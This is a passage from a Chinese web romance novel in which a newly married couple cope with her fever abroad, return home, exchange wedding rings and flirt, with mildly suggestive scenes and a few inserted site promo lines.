视线天旋地转,她后背跌进柔软的被单,男人倾身压来,身躯相贴比她还热,盯着她的黑眸如沸腾的水:
“光想歪没用,老子能变成实际你信不信?”
睡裙褶皱摩擦,被撩起了些,容微月白皙如抹
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了奶油的腿被迫因他变成蝴蝶翅膀。
从前这样,他早就埋进很凶,捣得细音破碎,忍不住主动跟着他抬落腰,水漫金山。
他嗓音沉沉:“胆子大了,大晚上还惹我?”
没想到逗人被生扑,容微月脸颊浮起绯色:“我没有……是你自己没定力……”
傅蔺征嗓音散漫:“我们结婚了,要定力干什么?”
“而且我从前有没有定力,你不知道?”
“……”
从前,她是一撩他就能发疯的程度,节制这俩字就不在傅蔺征的字典里。
男人看她红润润的眸子,忍下了火,揉了揉她头:“老老实实的,病号一个,我还不想趁人之危。”
他太了解自己,真要她,以他憋了这么多年的程度不是三四次就能解决的,发着烧的她肯定撑不住,到时候肯定要哭得咬他求他。
傅蔺征起身,扯过被子给她严严实实裹上,走去泡药,容微月视线落到他那不平整的西裤,羞得揉揉脸颊。
成年后定型了吧……
六年过去,会不会又长大了呀qwq……
很快傅蔺征回来,手里拿着药和水,平静了许多:“吃了。”
她压下思绪接过,乖乖吃了,傅蔺征又给她测体温,烧还没完全退下来,容微月打了个喷嚏,他给她拿纸巾,看她柔弱的模样,无奈道:“容微月,你看我回去管不管你吧,身体差成这样。”
她眼巴巴看他,傅蔺征睨过来:“怎么,我现在能不能管你?”
无法反驳,她老实,“能。”
“躺下去睡觉。”
容微月听话地缩进被窝,傅蔺征把床头灯关闭,打开行李箱去拿衣物,而后也去了浴室。
她昏昏沉沉眯了会儿,直至听到浴室的门被打开。
傅蔺征裹着浴袍出来,黑色短发滴下水珠,从脖子上的古巴链滚过,带了点野痞的冷欲让人移不开眼。
容微月偷偷看着,傅蔺征瞥了她一眼,走去吹头发,吹干后悠悠道:“容微月,我知道我魅力太大,但你能不能收点你那如狼似虎的眼神?看了十分钟还不够?口水都快流下来了。”
小猫咪不偏不倚看他,倒也理直气壮起来:“我看你怎么了,我现在名正言顺。”
傅蔺征轻轻一笑。
行,倒是把他那套话搬过来了。
傅蔺征捞了个毛毯,放到旁边的沙发,又到床边拿枕头,容微月呆住:“你不睡在床上吗?”
“这么想要和我同床共枕?”
“我的意思是沙发太窄了,你这样不舒服……”
男人直直看她:“我要躺上来了,你觉得你还睡得着么?”
“……”
容微月顿了顿,真担心他
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休息不好:“不然你再开一间房?”
“……开个屁。”
他把她一个人丢在这儿?其实他能定总统套房的选一张床是故意想更近地照顾她。
但他今晚发现高估他的自制力了。
一和她独处他根本控制不住。
傅蔺征滚了滚喉结给她盖好被子“行了自己都这样了还操心别人赶紧睡觉。”
傅蔺征走去沙发躺下来他个子太高没办法平躺只能半靠着沙发估计傅大少爷从来就没这么委屈过自己。
容微月人很疲乏可翻来覆去半天好像是因为今晚和他在一起的缘故心思像裹了一圈又一圈的蜜糖甜丝丝的难以入眠。
过了会儿她忍不住看向沙发上的男人温吞叫他:“傅蔺征。”
他很快睁开眼看来“怎么了。”
“我有点冷。”
傅蔺征立刻走过来把自己的毛毯盖在她身上摸她额头担忧道:“发烧了会觉得冷没事药效上来就好了我去给你拿个暖宝宝贴?”
“不用暖宝宝太小了……”
她摇摇头看向他甜糯的嗓音软成一团:“我想抱着你你比较热。”
傅蔺征怔了怔眼眸滚热暗下笑了:“怎么着今天我这便宜你是非占不可了是吧?”
小心思被戳破她脸红胡诌“我真的冷。”
见傅蔺征没反应她揉揉通红的鼻尖像是重新缩回冰水里的小猫委屈道:“算了我继续睡吧反正更冷就烧得更厉害烧晕过去也睡着了……”
她话音未落刚闭上眼就感觉到被子一边突然被掀开一丝凉风还未贴到皮肤她整个人被翻了个身拉进男人温热的怀中。
傅蔺征身上格外热一瞬间沐浴后雪松气息像是一张沸腾如火的大网笼罩下来。
热流蔓入四肢百骸她心口一颤被牢牢锁进他的领地再也无处可逃。
她手抵住他胸膛男人倾身而来紧紧锁住她纤柔细腰黑眸倒映着她眼底欲意翻滚“喜欢这样嗯?”
感受到什么她心脏扑通扑通乱跳眼睫翩跹小声嗫嚅:“嗯这样温暖多了……”
他指腹抹掉她鼻尖的汗珠嗓音沉哑:
“不热么?我看你都流汗了。”
“是是你太烫了……”
傅蔺征将她搂在怀中
“有点……”
“哪里难受?”
她眨着眸看他:有点喉咙疼……”
他掌心按着她后腰嗓音贴在她耳畔:“今晚在医院打的针没效果么?”
“应该有点就是药效没那么快。”
他嗓音野痞:“那可能
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是针不够粗,药量不够,要打粗的才有用。
她指尖揪着他浴袍,听到他意味深长的话,脸颊泛红,故意仰着眸无辜看他:“那打完会浑身出汗么?
傅蔺征喉间发干,“你说能不能?
根本扛不住她和六年前一样的狡黠模样,他薄唇咬上她耳垂,她心间一颤,他shun着如蛇打转,口中呼出愈渐沉重的热气塌陷她耳廓。
被他牢牢禁锢住,容微月好像裹上水雾,紧紧缩在他怀中,眼睫如振翅欲飞的蝴蝶,声音好娇:“傅蔺征,痒……
操,他要疯了。
半晌他知道不能再闹下去,停了下来把她紧紧按在怀中,嗓音沉沉吐气:“容微月,你再不睡,信不信今晚会被老子收拾得很惨?
本来他竭尽全力忍着不上来了,偏偏她要招惹他,发着烧还一点不带怕的。
她脸红靠在他怀中,“哦……
傅蔺征叫她赶紧睡觉,不再有多余的举动,容微月的确也因为生病状态不好,意识也不太清醒。
安静间,她昏昏沉沉入睡。
睡着后,她很快发了汗,退烧了。
半夜的时候,她嘟囔说着身上黏,傅蔺征拿毛巾给她擦了擦汗,本来想去沙发上睡,她抱着他不让他走,脑袋蹭蹭他颈肩,跟着树袋熊一样。
傅蔺征都快疯了,中途又去了趟浴室。
感觉一个晚上发高烧的是他。
但什么都不敢做,他只能每过两个小时就给她量量体温,关注她的状态。
一夜过去,容微月倒是睡得踏实。
醒来后,她感觉身上松快许多,身旁却空空荡荡,傅蔺征在沙发上休息。
男人单手枕在脑袋后躺着,长腿微曲,黑睫静静盖在眼睑上。
这人怎么又去睡沙发了?
容微月捞过床上的毛毯,下了床,轻声走过去给他盖上,却没想到还是把人吵醒了,他睁开眼看到她,率先发问:“醒了?
“嗯……
他摸她额头,凉凉的,“还有没有哪里难受?
“没事了,鼻子还有点塞。
容微月被他半圈住,不解:“你怎么过来睡了?
傅蔺征唇角扯起弧度:“某些人昨天折腾了我一个晚上,不躲过来我怎么睡?
“我有吗……
“跟八爪鱼一样挂在我身上,抱着我黏着我不撒手,领了证就是胆大,什么便宜都给你占完了。
“……
以为他是指一整晚照顾她,没想到他的意思是被她惹得睡不着,她尴尬嗫嚅:“可能是我昨晚烧得有点糊涂,都不记得了,对不起啊……
傅蔺征靠向沙发,吊儿郎当言:“光对不起就完事儿了?老子不接受
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道歉全都欠着以后都要加倍讨回来。”
容微月都没办法想象那是什么场面了脸热轻轻嗯了声她也不躲以后都给他占就是了。
傅蔺征揉揉她头:“困就再睡会儿大雾天飞机延误航班改到晚上十一点了还有一天的时间。”
这样也挺好的不用那么赶“睡不着我有点饿了。”
傅蔺征:“那我叫餐?”
“下楼吃吧我想走走房间里闷得慌。”
他应下过了会儿她洗漱好穿了件奶白色羊绒毛衣和暖绒长裤“我好啦。”
傅蔺征眼睛微眯“过来。”
走到他面前傅蔺征给她裹上外套围上围巾“穿这么少还想出门?再发烧回家就把你关起来。”
男人又给她戴上手套而后让她坐到床边半蹲下来给她的脚丫套上袜子。
容微月拍了拍噗唧唧的手套觉得太夸张:“酒店有暖气不用穿这么厚的……”
“热了再脱小心又发烧。”
乖乖被裹了一圈容微月垂头看着自己瘪嘴:“我好像一只熊噢……”
傅蔺征看了眼毛茸茸的小姑娘偏眼勾唇牵起她:“走了小熊。”
牵着她出门坐电梯下楼她和他的手一起放进他大衣口袋里容微月隔着手套隐约触碰到一个微硬的片状物咳嗽着问:“这是什么东西?”
他目视前方淡淡道:“没什么。”
电梯门打开他拉着她出去她也没来得及多问。
饭后容微月去联系舒槿说了航班延误的事俩女生还挺开心傅蔺征安排人带她们去逛逛容微月则在酒店养病傅蔺征一边处理公事一边陪她。
傍晚俩人回来傅蔺征让酒店安排了一顿丰盛的晚餐舒槿和吕丹吃着又看着傅蔺征对容微月细致入微的照顾嗑生嗑死私下和容微月狂夸傅总太好了搞得她脸红。
饭后几人去机场傅蔺征给舒槿和吕丹也安排了头等舱几人走特殊通道去安检。
安检处工作人员把收纳筐递给容微月和傅蔺征要求把随身物品拿出来。
容微月就一个包
手机充电宝。
还有个格外晃眼的红本本。
容微月:???
外国安检人员看到也愣了愣含笑打趣说还以为是什么新型护照傅蔺征慵懒挑唇开口:
“No,thisismymarriagecertificate.(不这是我的结婚证)。”
工作人员看到他牵着的容微月顿时了然他们的关系含笑对俩人道了声恭喜
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。
安检完,容微月脸都红透了,终于知道今早在他口袋里碰到的东西是什么了,“傅蔺征,你干嘛把结婚证揣在身上?”
他懒声道:“行李箱放不下去了呢。”
“……?”
哪个行李箱放不下这么薄的本子?
上了飞机,傅蔺征在座位坐下,而后慢条斯理把结婚证随手搁在靠近过道的小桌板上。
空乘人员过来服务时都看到了,脸上都多了抹祝福的温馨笑容,还有主动道恭喜的,男人都悠淡应下。
容微月尴尬都想打他了:“傅蔺征,你能不能把结婚证收起来……”
“怎么。”
“好多人都看到了。”
她现在下飞机还来得及吗……
“也是,那低调点。”
随后他把放在靠近过道的红本本,移动到了桌面的里侧。
容微月:“……”
不是,这低调在了哪儿?
管不了,她转身索性装死去睡觉。
从喀山转到莫斯科,再飞往京市,落地时已经是下午了,刚出航站楼,容微月得知傅蔺征又要坐车去临近的H市一趟,“今晚就回来,你先回家。”
“你是还有公事要处理吗?”
“没,”他语气顿了顿,含糊了些,“去拿个东西。”
她不明所以点了点头,想到什么,羞道:“你把结婚证给我,我拿回去保管。”
等会儿这人再来那么一出,那还得了。
“不用,”他一脸理直气壮,“我等会儿放行李箱里。”
“……”她能相信他吗?
傅蔺征走后,容微月一行人先回去。
回到家,宠物店人也把呼呼送回来了,小家伙扑过来黏着她不肯走,她笑着把它抱了个满怀,“宝贝,妈妈好想你呀……”
呼呼伸出舌头,乖乖舔她手心,她陪它玩了会儿,看到手机里H市下大雨的新闻,她去问傅蔺征,那头男人刚从一个别墅出来,撑着伞上了车,回复:
【没事,我开车走高速。】
她担忧:【很危险的,你住一晚明天再回来?】
傅蔺征:【回得去。】
也不明白他那么着急去又着急回来干什么。
拗不过他,她让他注意安全。
晚上吃完饭,容微月人还是有点难受,咳嗽鼻塞,但挂心《霜雪吟》饰品的制作,还是去工作室查看下这几天大家的工作进度。
八点,她在办公室召开了一下线上会议,将这次去喀山定下的合作细节告诉大家。
他们将在下月初前完成全部饰品的打样送检,再着手生产,一月初安排参展和上市。
员工们听着容微月讲起这次在喀山调研的经过,不禁动容,希望能解救这个工
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厂于水火之中,当然也是为了他们自己,如果这一次能成功,也会大大提高他们晴月阁的知名度。
九点会议结束,容微月在办公室整理材料,傅蔺征的电话进来。
她接起,那头说已经开回京市了,她道:“我在工作室,也准备回家了。
“看到了,还不出来?
她一怔,猛地抬眸就看到窗外路边梧桐树下,一辆银黑色布加迪静静停在路灯下。
傅蔺征懒懒地倚着车身,正望向她这边,眉眼温柔。
他怎么一回来就来找她了……
她呆了呆,“我马上收拾。
“不急,慢慢来。
她整理完关上灯,捞起围巾,往外小跑到一半又停下来,克制着欢喜慢慢往外走,傅蔺征朝她走来,她问:“你怎么知道我在工作室啊?
他拉着她走去车边,吊儿郎当道:“我回家问呼呼的,它说它妈又去加班了。
她不禁弯眉,上了车,她咳嗽着,傅蔺征拧眉:“感冒了晚上不休息,怎么又跑来工作?
他把买来的热雪梨红枣茶递来,“喝点。
她接过:“和漆画厂那边的合作比较着急,就加了个班。
十分钟后,两人回到了家。呼呼被傅蔺征抱起来,难得父慈子孝,容微月走去客厅,手机叮的一声,进来一条信息,是高中班上的一对情侣发来的,邀请她过段时间来参加婚礼。
容微月祝贺应下,坐到沙发上,点开电子请帖,滑动看着婚纱照。
过了会儿,傅蔺征给呼呼喂了点零食,洗了手走过来,看到她神情专注,“在看什么?
“张淳和晓安的婚礼请帖,肯定也有邀请你吧?
“嗯。
容微月看到微信班级群消息不断探出,点开一看,全是在热烈送祝福的,“张淳说他们是班里第一对结婚的情侣。
傅蔺征懒嗤:“我俩才是第一对好么,比他们早领证,两天。
当初同学聚会,张淳说下周三去领证,谁知道第二天周一早上容微月和傅蔺征就去了。
容微月压下酒窝道:“嗯,我们才是第一对。
容微月翻看着他们电子请帖,心生羡慕:“他们拍的婚纱照好好看,去海边拍了,他们是从高中在一起到现在吗?
“应该吧。
容微月心头突然泛起苦涩,垂眸,“真好。
如果当初她没提分手……她和傅蔺征是不是也会一直在一起,会不会他们早就结婚了?
傅蔺征察觉到她低落的情绪,轻捏她的脸:“几个意思,我们这样不好?
她微怔摇摇头,傅蔺征慵懒道:“殊途同归,比他们少花了六年还比他们早领证,这时间利
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第 34 章 “每天要和我接吻八次。”...
第34章第三十四章
【“每天要和我接吻八次。”】
chapter34
从小到大,在家里容微月很少拥有过“最好”的东西。
她小时候喜欢的洋娃娃,是父母把姐姐玩过的给她,娃娃头发有点打结,裙摆也磨旧了,但她还是会一点点梳顺,轻轻抱在怀中睡觉。
她很多衣服裙子也是姐姐穿过的,虽然很漂亮,但她为新的小裙子心动时,容承业却很少给她买,说她不应该把心思花在打扮上。
七岁的时候容微月也喜欢过芭蕾舞,那时候她特别想要一条芭蕾舞裙,容承业却说她要考到年级第一才可以,她努力很久可是成绩差了一点点,那条芭蕾舞裙后来被别人买走了,容承业指着橱窗教育她:“好东西永远只会给准备好的人,机会从不等人。”
容微月没哭,只是那是她第一次明白,这个世界像是个巨大的商品交易市场,只有用“最优秀”才能换到“最好”。
她必须要努力换取父母的夸赞、喜欢的玩具、开心的生活,可后来她放弃了,她发现无论如何都成功不了,便接受了,自己不配得到任何最好的东西。
所以就算曾经傅蔺征对她那么好,她还是敏感得不断怀疑他的真心,一次次把他推开。
可是傅蔺征一次又一次,把破碎的她一点点捡起来,告诉她,他要给她最好的。
他总是用行动一遍遍证明,世界上会有人对你好,不是因为你有多优秀,而是因为你是你。
她明白了,原来不用那么辛苦,也能拥有小时候梦寐以求的爱。
听到他这么说,酸意顺着她鼻腔晕到眼眶,泛起雾气,她垂下头竭力压抑情绪,傅蔺征看到,拧眉无奈笑:“怎么还要哭了?至于这么感动?”
“唔……”
傅蔺征打趣:“容微月,你要真这么感动,光掉眼泪可没用,不得用行动表示下?”
她抬眸轻哽,“什么……”
他懒懒靠着沙发,唇角勾起:“比如主动点投怀送抱,再来送个香吻什么的,这次我大方点,就不说你占我便宜了。”
容微月看向他,心口怦怦直响,几秒后忍不住倾身钻入他怀中,轻轻环住他的腰。
他怔住。
没想到她真的会抱过来,一瞬间他像是做出本能反应,立刻拥紧她。
男人宽大温热的身躯严丝合缝将她纳入怀中,像是一张温热柔韧的大网接住坠落的她,完全包裹。
容微月把脸埋在他颈间,一颗泪珠悬挂在睫毛上将落未落,傅蔺征看着眉峰蹙得更紧,哑声调侃:
“容微月,你这样子,老子就要怀疑是我送的戒指不够大了,
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
还没让你满意。”
她吸了吸鼻子“没有……”
她眨了眨酸涩的眼眶低声道:“傅蔺征谢谢你……我从来都没有羡慕过别人不管是高中我们在一起的时候还是现在从来都没有当初是我……是我没有珍惜。”
如果已经拥有了最好的东西怎么还会因为得不到其他的失落难过。
傅蔺征对于她而言就是无可替代的存在。
容微月轻哽言:“其实我小时候很羡慕别人羡慕我姐她每次考试都能拿第一我爸妈把她捧在手心都来不及也羡慕我弟他想要什么和他们撒撒娇就够了可我想讨他们喜欢两种方式都努力尝试过可是都失败了。”
傅蔺征闻言心疼蹙眉。
她淡淡一笑:“不过这两年我长大后不太会羡慕别人了因为我感觉我有时候也挺优秀的我没有我想象中的那么差是吧?”
他喉间发紧低声应:“当然是。”
她轻声道:“而且我现在……也不是一个人了。”
她有了傅蔺征就有了越来越多的底气。
男人摸摸她的头看向她黑眸沉沉:“是啊为什么要讨别人喜欢你的人生是你自己的关他们什么事?你只负责开开心地活着知道么?别人不喜欢你是别人的问题要我遇到这种人通通让他们滚回去反思自己。”
她忍不住轻提唇角傅蔺征语调带着拽意:“还有你下半辈子又不是和你父母过是和我过有我个这么牛逼的老公你往外随便嘚瑟嘚瑟别人不得羡慕嫉妒死啊?”
容微月被逗得压下笑意:“傅蔺征你怎么那么自恋。”
“怎么我说的不是实话?像我这种搁在奢侈品里就是顶奢高定拿去拍卖也是那种稀世珍品。”
她不禁笑顺着他的臭屁:“嗯是是是。”
沉默几秒傅蔺征揉揉她的头低声言:“当初分手的事都过去了。”
她心头一怔。
傅蔺征想到她刚才那句“是我没有珍惜”心里更疼他不想她自责和难受:“不管当初因为什么分手那些你不想提的都不要提了哪怕你说的那些理由……都是真的也都过去了我们有的是现在和将来知道么?”
对于他来说她在身边可以抵过曾经所有分离的痛苦就算她当时是真的不喜欢他想玩玩他而已他也认了。
以后他们还有一辈子的时间他会对她比从前更好不让她后悔嫁给他。
容微月听着怔怔看着他
她喉间干涩末了轻轻点头傅蔺征指尖把玩着戒指盒
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,换了慵懒的语气:“诶,傅太太,你是不是忘了点什么?”
她眨眨眼,“什么?”
他把首饰盒递到她面前,唇角一勾:“能不能注重一下完整的流程,你的戒指我倒是帮你戴上了,我的你不帮我戴上啊?”
她窘然:“我忘记了……”
她取出首饰盒里的那枚男戒,戒圈被打磨成哑光质地,折射着冷白色金属光线,造型简单,内圈同样也是他们的名字缩写,外圈刻着一弯月牙。
是代表着她。
当初高三毕业,她和傅蔺征一起敲过一对花丝镶嵌的纯银素戒,那天傅蔺征给她戴上素戒,向来散漫的语气却格外郑重:“等以后有一天,我会用真的钻戒把它换下来。”
那时候,她就已经在他的未来里。
分手那天,听到她决绝的话,傅蔺征把他们那对戒指抛在雨中,那诺言也破灭了。
可她没想到,六年后,他们却真的有了婚戒。
像是时光重叠,容微月轻轻握住他的左手,青涩却郑重地把戒指推入他的无名指。
傅蔺征无声看着她的脸,黑眸一点点升温,热流翻滚。
戒指牢牢卡在他的指根。
无名指,是最靠近心脏的位置。
容微月眼底泛红像涨了潮的海面,抬眼望向他,唇畔弯起,轻轻开口:
“傅先生,新婚快乐。”
傅蔺征眉锋凌厉,注视着她近在咫尺的杏眸,眼底炽热发烫:“容微月,你知道一般交换戒指后,还有一个步骤是什么?”
她心口微乱,红唇翕动,“什么……”
傅蔺征把她揽入怀中,嗓音沉哑:“闭眼。”
容微月眼睫轻颤,刚合上眼,他疾风骤雨般的吻就落了过来。
像是一张密密麻麻的大网笼罩下来,让她无处遁形,傅蔺征的气息又烈又烫,像是被风鼓吹的大火,携满压抑六年的情愫。
他终于以先生的名义,吻到他的挚爱。
时间宛若在此刻停止。
周围一切都被虚化。
窗外夜色如墨,深沉无声,静谧得连风都屏息,客厅挂钟的滴答滴答,一下下敲击在心口。
沙发旁只亮着一盏落地灯,昏黄光晕散落在地上,像月亮在海面荡漾开圈圈漪涟,地暖烘出的热意被两人的气息不断搅动,卷起空气升温。
傅蔺征强有力的一只手臂就可以牢牢锁住她的细腰,另一只手扣住她的后脑勺,力道明明克制却如同要把她揉碎在怀中。
容微月被吻着,思绪被密密麻麻的雪花点覆盖。
心跳失序,什么也思考不了。
不像重逢后第一次因为吃醋而失控的强吻,也不像第二次带着醉意朦胧冲动的吻,此刻两颗心贴近
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,他们清晰的世界里只剩下彼此。
他攻击性好强,像是忍了很久,她睫毛扑簌抖动,四肢漫过麻酥的电流,指尖紧紧攥着他的衣角,半晌傅蔺征稍微停下,手捧起她下巴,气息沉沉撩人:“容微月,以前白教你了?”
她睁开迷蒙的眼,呼吸找不到节拍,“什么……”
傅蔺征眼尾微挑,指腹压着她胭红水润的唇瓣细碾,嗓音低浑勾人得要命:“伸舌头啊,不伸舌头叫什么接吻?”
唔……
好久没亲,忘记了qwq……
刚刚太紧张,她笨拙得像是初次,她软声道:“知道了……”
伴随着他低沉笑声传来,很快清冽的薄荷气息再度夺走她所有的呼吸,他舌轻松抵开齿关,她主动迎来,被他辗转研磨,游戈扫荡。
容微月垂着的手忍不住圈住他的脖颈,傅蔺征眸色更深,把她更深地嵌进怀中。
大平层光线暗如深海,两人宛若处在巨浪上的大船,随着海浪荡漾。
湿热,混乱,勾缠不休。
她后背被压向沙发,像被大浪彻底淹没。
过了会儿,空气逐渐稀薄,激烈的吻才停了下来,傅蔺征睁开眼,直直盯着她,声线低哑:
“现在知道最后一个步骤是什么了?”
容微月快速呼吸着,眼尾还残留着泛红的潮意,像蜜糖滴落,嗓音软糯:“这次不是我,是你占我便宜……”
傅蔺征扯唇:“是我又怎么样,谁之前对我各种又搂又抱又亲的?我不得加倍讨回来?”
他捏住她下巴,黑眸灼灼:“而且你以为一个吻就够还了?”
她眼睫轻颤,他再度吻了过来。
再度拉她沉溺。
傅蔺征从前就好会接吻,动不动就能把她亲到腿软,让理智不受控倒戈,何况是六年后。
她捏住他衣服的指尖时松时紧,心口软麻,半晌轻哼示意她呼吸不过来,傅蔺征停下,眼底晕开笑意:“容微月,你吻技怎么还是那么差啊,换气都不会?”
“我……我是生病鼻塞了。”
“鼻不塞吻技也差。”
好讨厌这人,“是,你吻技好,你经验丰富。”
他轻嗤,“哪儿来的经验丰富?老子纯属记忆力好,六年前练过的还记得。”
容微月怔了怔,傅蔺征气息沉沉:“没事,好生带差生,多练练就好了。”
他没有给她继续思考的时间,又覆了上来。
过了会儿,从厨房叼着小麻雀跑过来的呼呼不知道俩人在做什么,哒哒哒一下跳上沙发,拼了命钻进俩人怀中,扑腾来扑腾去。
被迫打断,傅蔺征脸色一黑停下,气得把这祖宗拎起:“傅呼呼你几个意思?没看到你爸你
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
妈在做正事,非要捣乱是吧?
呼呼眨巴着眼看他,在说:
爸爸,不可以欺负妈妈哦。
呼呼被放下沙发,谁知道又不甘心地跳了上来,扑到容微月身上,蹭着妈妈的胸口,一副黏人的模样。
傅蔺征:“……
他没管它,又要过来,容微月轻轻哼唧:“不要亲了……
他口干舌燥,“为什么不要?
她故意不给他亲了,脸颊通红弯眉:“我要去洗澡了。
把脸黑的某人丢在这儿,她飞快跑去卧室,把呼呼放到地上,拿着衣物关上浴室门,就看到镜子里她的脸红得像挂了两颗樱桃,唇瓣被吮得格外嫣红。
他们刚才亲了多久啊……
她缓了缓心口翻涌的热意,去卸隐形眼镜,无名指上的月亮婚戒折射出璀璨的光映在镜面上,她轻轻摘下来,看到内圈刻着的他们的名字缩写。
圆圆的一个圏,像是把他们套牢在一起。
这是结婚最明显的印记。
她重新戴在手中,转念有些疑惑——
这戒指明显就是订做的,可结婚到现在这么短时间,能做得这么快吗?
她突然想到他说今天去河市,难道是去拿这戒指吗……
可这戒指怎么可能是之前做好的……
或许……这就是傅蔺征的钞能力吧。
她按捺下思绪去洗澡,半小时后,她换好睡衣走出来,看到傅蔺征坐在房间沙发上,长腿曲着,指尖把玩着扑克牌,气质慵懒拓落。
容微月呆了呆,没想到他在这儿,视线在房间里扫了一圈:“呼呼呢?
他舌尖抵腮:“孽子,已被我逐出家门。
她失笑,“你之前不是还说父慈子孝吗?
他懒洋洋嗤:“它不孝,我凭什么要慈?好好的狗不当,非要当电灯泡。
她眉眼弯起,走过去就被他搂在怀中,看他花式洗着牌,“傅蔺征,你什么时候学会变魔术的?之前都没见你玩过。
“大学,认识了一个魔术师,就学了几招。
傅蔺征聪明,手速快,记忆力好,玩这些都很容易上手,但凡要往外秀两招,不知道要俘获多少女孩的芳心。
傅蔺征指尖弹射着牌,悠然道:“学了五年,没白学,换来了个吻。
“……
她脸热,咕哝承认:“其实那天喝醉我没有断片,我故意骗你的。
他轻笑,“你当我不知道?
他当时要再追问下去,她估计都要羞得搬出3401了。
她酒窝点起,“那还有什么其他的魔术吗?你再变一个。
傅蔺征圈着她,眉梢挑起,“有个预言魔术,要不要玩?
“好啊,
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
规则是什么?”
“随便抽两张牌我能说出着两个牌代表着接下来在你身上要发生的事情。”
“这么神奇啊。”
傅蔺征把牌反过来推开在桌面她好奇抽了两张拿起来看是一张3和一张8。
“这什么意思?”
傅蔺征慵懒道:“这意思就是接下来三天呢你每天要和我接吻八次。”
容微月:?
她羞得被迫又抽了两张是一张1和9。
傅蔺征唇角挑起:“这意思就是第一天晚上我们要做九次但是你太累求饶了一次最后是八次。”
容微月:??这对吗?!
傅蔺征不疾不徐道:“或者也可以理解为做九天休一天。”
容微月:???
这人……
她脸色炸红没想到他这么流氓“我不抽了。”
这什么游戏又被他给忽悠了……
小猫咪炸毛羞得从他怀里逃出来喵喵喵用眼神骂了他一通可爱的模样惹来傅蔺征笑他站起身她坐到床边不看他:“你回去
“我回去?”
傅蔺征倾身把她拉了起来:“几个意思?昨晚在酒店知道怎么睡今晚要和我分居了?”
那还不是他太过分。
小姑娘不说话傅蔺征俯身看她低声哄:“我错了跟我去我房间睡嗯?”
她压下唇角弧度反问:“当初定租房合同的时候可是说好不能进对方卧室某些正人君子不是说他保守坚定都是别人对他图谋不轨吗?”
傅蔺征轻笑俯身咬她唇瓣“怎么开始秋后算账了是吧?”
“这是你说的……”
把她压在床上他黑眸炽热哑声承认:“是老子对你图谋不轨很久了。”
无论是她的心还是她的人。
他从里到外都想要要得彻彻底底。
容微月眼底弯起的弧度浅浅傅蔺征想把她抱起来“要拿什么?有需要的东西带上方其他不着急搬。”
她去指挥他拔了手机充电器和平板往外走她想到什么从他怀中跳下来“等等还有个东西忘记了。”
她跑回去习惯般跑去床头拿起药盒倒了一颗出来吃掉又出去傅蔺征疑惑:“去干嘛了?”
“没有……”她不想让他知道“插座忘记关了走吧走吧。”
她赶紧过去挽住他傅蔺征扯唇:“跟我睡觉还挺迫不及待。”
“……”
去了他卧室里头是黑白的现代极简风空间和她房间差不多桌面上摆着许多赛车模型还有厚重的赛车书籍资料。
床上刚刚换了新的灰色四件套除
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螨杀菌后
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,还带着淡淡的青橘清香。
傅蔺征说她的卧室可以当她工作室,也可以把她的工作电脑搬过来,这里随意她布置。
容微月应下,傅蔺征又给她泡了杯感冒冲剂,让她喝了,“喝完躺下去睡觉,我去洗澡。
“哦……
她喝完,整个人钻进被子里,柔软的床垫如云托住她,鼻间都是他身上熟悉的竹叶薄荷香。
躺平,容微月面容半埋进被单里,看向床边站着的男人,乖乖问:
“那我等你洗完澡出来?
傅蔺征笑了:“怎么,等我出来你还要想要什么活动?
她轻咳,支支吾吾:“……比如唱个安眠曲什么的?
傅蔺征俯身看她,眼底幽深:“安眠曲没有,只有八次的睡前运动,要不要?
“……
她咬了咬红唇,几秒后鼓起勇气道:“今晚其实时间还挺早的……
他挑唇:“感冒了,什么活动都没有。
“……
不想理他了,她闭眼翻了个身,表示晚安睡觉明天再聊。
傅蔺征不禁失笑。
他走了,容微月羞得在被子里滚了两圈,最后看着手上的戒指,轻轻弯起唇角。
今晚,他们互换戒指了,真好。
她想,以后她要对傅蔺征好一点。
再好一点。
不管曾经分手如何,她绝对不能再辜负他了。
过了会儿她阖上眸,抵不住困意,渐渐入睡。
迟些时候,傅蔺征洗完澡出来,房间里亮着床头的一盏灯,小姑娘躺在床上,缩成一团,气息浅浅,睡颜安然。
他步伐放轻,黑眸柔了几分。
关掉灯,他掀开被子躺了下去,从身后圈住她,温热的胸膛贴了上去,容微月像是感觉到他的怀抱,绵软哼唧了声,傅蔺征勾唇,轻轻吻她耳垂:“小猫。
小猫翻身钻进他怀中,又继续睡着。
傅蔺征抬手抚她黑发,心底柔软塌陷。
分手那六年,无数个夜里,他一次次梦到她说不喜欢他决绝要分手,他被困在那场磅礴大雨里,不管如何都找不到出口。
他曾经以为,失去是最后的结局。
还好现在,他找到她了。
她躺在他怀里,是以他妻子的名义。
睁眼闭眼,她再也不是随时会消失的梦境。
-
第二天,俩人睡醒,傅蔺征带着她出门。
效率很高,两人很快签了协议,办了公证。
他把财产过户或赠予到她名下,一刻也没耽误,仿佛她是拿不到钱就要跑了。
傅蔺征说钱代表不了什么,但是他想通过这个告诉她,世界上所有在外人眼里看为命的东西,对他来说都不及
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她重要。
如果她离开他几乎就是一无所有。
可即便如此在他们之间的天平上傅蔺征还是毫无保留地放上了所有的砝码从不看后果。
看到银行卡里数不清多少位的余额容微月恍惚感觉自己摇身一变成为亿万富婆。
这些钱就是晴月阁赚几辈子都赚不到啊……
容微月被这些庞大的钱弄得都没概念了但她想着花傅蔺征的钱可以躺平可不行工作室还得开
从俄罗斯回来后设计部开始饰品设计细化这几天车间的匠人们也陆陆续续把《霜雪吟》的饰品赶工出来容微月层层把关格外忙碌身体也一直病恹恹的。
不知道为什么她这次感冒好得很慢从俄罗斯回来她就一直在咳嗽傅蔺征为她学了许多滋补的汤药每天换着花样熬给她喝监督她好好吃饭按时休息她也只能慢慢调理着。
几天后是《霜雪吟》的开机仪式。
在京市近郊的的一个影视基地里红地毯从街口铺到广场中央众多媒体和粉丝围成人海演员和主创团队到场签名合影容微月身为饰品制作方之一自然也被邀出席。
本来傅蔺征要载她同去现场但她害怕暴露关系离现场还有段距离就先下了车。
过了会儿活动开始主持人介绍剧组、演员和幕后团队后邀请出品人傅蔺征登台发言。
掌声雷动中男人走上台他一身精致裁剪的黑色西装三件套外披深灰色毛呢大衣身形颀长气质难驯张扬。
身为明恒集团的太子爷京圈顶级名利场的**傅蔺征无论在赛场还是在这样的商业场合都游刃有余永远让人高不可攀。
他感谢每一位台前幕后工作人员的辛苦付出也感谢投资者和媒体朋友的支持。
男人看向台下嗓音磁沉:“我相信这是一部能代表东方之美、足够打动人心的作品祝《霜雪吟》剧组开机大吉大红大紫。”
